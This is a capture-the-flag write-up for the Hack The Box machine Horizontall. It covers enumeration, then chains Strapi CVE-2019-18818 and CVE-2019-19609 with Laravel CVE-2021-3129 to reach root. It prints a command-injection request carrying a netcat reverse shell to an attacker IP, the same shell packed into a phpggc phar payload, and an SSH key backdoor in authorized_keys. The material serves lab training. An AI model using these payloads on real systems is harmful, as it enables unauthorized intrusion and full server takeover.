Introduction
Horizontall is a fun box on Hackthebox that has an API
, vulnerable to Improper Access Control
and RCE
(Remote Code Execution).
The box is running a laravel service which is vulnerable to another RCE
which lets us run commands as root
.
Scanning
Masscan
sudo masscan "10.10.11.105" -p1-65535,U:1-65535 --rate=1500 -e tun0
Discovered open port 80/tcp on 10.10.11.105
Discovered open port 22/tcp on 10.10.11.105
NMAP
sudo nmap -sC -sV -oA 10.10.11.105 -p 80,22 10.10.11.105
# Nmap 7.80 scan initiated Sun Aug 29 06:19:11 2021 as: nmap -sC -sV -oA 10.10.11.105 -p 80,22 10.10.11.105
Nmap scan report for horizontall.htb (10.10.11.105)
Host is up (0.27s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
| 256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_ 256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: horizontall
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Aug 29 06:19:36 2021 -- 1 IP address (1 host up) scanned in 24.22 seconds
Foothold
We visit 10.10.11.105
we get redirected to http://horizontall.htb
We add horizontall.htb
in /etc/hosts
file.
10.10.11.105 horizontall.htb
Visiting http://horizontall.htb
, but we get nothing but a static HTML page hosted on Apache server.
Finding subdomains
So we move further looking for subdomains by using a tool called ffuf
1
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1-dev
________________________________________________
:: Method : GET
:: URL : http://horizontall.htb/
:: Wordlist : FUZZ: /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.horizontall.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
:: Filter : Response size: 194
________________________________________________
www [Status: 200, Size: 901, Words: 43, Lines: 2]
api-prod [Status: 200, Size: 413, Words: 76, Lines: 20]
:: Progress: [114441/114441] :: Job [1/1] :: 163 req/sec :: Duration: [0:11:01] :: Errors: 0 ::
We add these 2 subdomains in our hosts file /etc/hosts
# /etc/hosts file
10.10.11.105 horizontall.htb www.horizontall.htb api-prod.horizontall.htb
Directory enumerating using gobuster
We run gobuster 2 on these domains but we didn’t find anything as such for horizontall.htb
as well as www.horizontall.htb
.
We run gobuster on http://api-prod.horizontall.htb
, we get interesting results.
gobuster dir -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt \ -t 50 -u http://api-prod.horizontall.htb/
Trimmed output
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://api-prod.horizontall.htb/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/08/29 11:50:04 Starting gobuster in directory enumeration mode
===============================================================
/reviews (Status: 200) [Size: 507]
/users (Status: 403) [Size: 60]
/admin (Status: 200) [Size: 854]
...
we get the following paths
http://api-prod.horizontall.htb/reviews
http://api-prod.horizontall.htb/users
http://api-prod.horizontall.htb/admin
Of these /reviews
has nothing interesting and we get 403 Forbidden
on /users
For /admin
we see an admin login prompt:
We don’t have login credentials so we can’t log in to this dashboard.
We again run gobuster on http://api-prod.horizontall.htb/admin
gobuster dir -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt \
-t 50 -u http://api-prod.horizontall.htb/admin/ --wildcard | grep -v "Size: 854"
Here, we negative grep Size: 854
as the application returns the same for every non-existing page.
We get the following output (Trimmed output)
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://api-prod.horizontall.htb/admin/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/08/29 14:19:01 Starting gobuster in directory enumeration mode
===============================================================
/plugins (Status: 403) [Size: 60]
/layout (Status: 200) [Size: 90]
/init (Status: 200) [Size: 144]
...
Exploiting Improper Access Control in strapi
We find that the API is using strapi 3 and the version is 3.0.0-beta.17.4
On searching for vulns for this version we find => https://snyk.io/test/npm/strapi/3.0.0-beta.17.4
I see Improper Access Control with CVE: CVE-2019-18818
=> Improper Access Control Affecting strapi package, versions <3.0.0-beta.17.5
On searching for an exploit for this CVE we find a blog post: Exploiting friends with CVE-2019-18818
The following is the modified code we use:
|
|
Using this code we can get JWT token
, but this is not enough!
Getting shell as user strapi
We find a 2nd CVE: CVE-2019-19609
=> Strapi Framework Vulnerable to Remote Code Execution (CVE-2019-19609)
With this, we can get RCE by using a valid JWT token
馃槇
So, we use the following POST
request via BURP suite:
POST /admin/plugins/install HTTP/1.1
Host: api-prod.horizontall.htb
Authorization: Bearer 鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅JIUzI1NiIsInR5cCI6IkpXVCJ9.鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅wiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjMwMjQ3OTA1LCJleHAiOjE2MzI4Mzk5MDV9.鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅CRBYxR2gpvDfzmO98MHSCEn07y-gs5sO4
Content-Type: application/json
Origin: http://api-prod.horizontall.htb
Content-Length: 125
Connection: close
{
"plugin":"documentation && $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.XX.XX 4444 >/tmp/f)",
"port":"1337"
}
Or we can use the following cURL
command, where you need to put JWT token
and attacker box IP in place of 10.10.XX.XX
curl -i -s -k -X $'POST' \
-H $'Host: api-prod.horizontall.htb' -H $'Authorization: Bearer {PUT JWT TOKEN HERE}' -H $'Content-Type: application/json' -H $'Origin: http://api-prod.horizontall.htb' -H $'Content-Length: 139' -H $'Connection: close' \
--data-binary $'{\x0d\x0a \"plugin\":\"documentation && $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.XX.XX 4444 >/tmp/f)\",\x0d\x0a \"port\":\"1337\"\x0d\x0a}' \
$'http://api-prod.horizontall.htb/admin/plugins/install'
We listen for connections on port 4444
using netcat, then run the above command.
nc -lvnp 4444
And, we get a shell with user strapi
.
We can upgrade shell by using python3 -c 'import pty;pty.spawn("/bin/bash")'
We can get a ssh
shell by adding our public-ssh key from attacker box i.e ~/.ssh/id_rsa.pub
to /opt/strapi/.ssh/authorized_keys
of target box.
mkdir /opt/strapi/.ssh && \
echo "ssh-rsa AAAAB鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅鈻堚枅= kali@kaliubuntu" \
>> /opt/strapi/.ssh/authorized_keys
We can now login as user strapi
with no password!
ssh strapi@horizontall.htb
We go to /home
directory, where we have user developer
where we get user.txt
, which can be read by user strapi
.
Escalating Privileges
Running LinuEnum.sh
We run LinEnum.sh
4 on the target box, where we find the following part where open TCP ports are listed:
[-] Listening TCP:
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:1337 0.0.0.0:* LISTEN 1888/node /usr/bin/
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
Note: Transfering
LinEnum.sh
on target box from attacker box can be easy. We can use darkhttpd to open a web server and usecURL/wget
from target box and save it under/var/tmp
directory.
Here,
- Strapi is running om port
1337
- MySQL DB is running on port
3306
- Port
80
and22
are accessible externally as we know. - We need to find out which service is on port
8000
.
Enumerating service on port 8000
For this, we use SSH tunneling 5
Running the following on our attacker box:
ssh -N -L 8000:127.0.0.1:8000 strapi@horizontall.htb
We can now access port 8000 from the target box (horizontall.htb
) on our attacker box (localhost:8000
)!
We again run gobuster on http://localhost:8000/
gobuster dir -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt \
-t 50 -u http://localhost:8000/ --wildcard
鈿狅笍 This dir fuzzing is very unstable, we frequently get:
Connection to horizontall.htb closed by remote host.
We find /profiles
on http://localhost:8000
We browse the page and find interesting stuff on Context
tab.
Using RCE for Laravel v8.4.2
The service here is using Laravel v8 (PHP v7.4.18)
. We see that Laravel version here is: v8.4.2
. We have a CVE for Laravel v8.4.2 : CVE-2021-3129
We find a blog that explains how this works: LARAVEL <= V8.4.2 DEBUG MODE: REMOTE CODE EXECUTION.
So using https://github.com/ambionics/laravel-exploits, we can get RCE!
We clone the exploit and phpggc:
git clone https://github.com/ambionics/laravel-exploits.git
git clone https://github.com/ambionics/phpggc.git
We then run,
php -d'phar.readonly=0' phpggc/phpggc --phar phar -f -o exploit.phar monolog/rce1 system \
'$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.XX.XX 4444 >/tmp/f)'
Here we have
'$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.XX.XX 4444 >/tmp/f)'
as a reverse shell.
An exploit.phar
file should be created in your current directory
We listen on port 4444
using nc:
nc -lvnp 4444
then run,
python3 laravel-exploits/laravel-ignition-rce.py http://127.0.0.1:8000/ exploit.phar
鈿狅笍 This step is very unstable as before, we frequently get:
Connection to horizontall.htb closed by remote host.
We get a shell 馃悮 as root
馃帀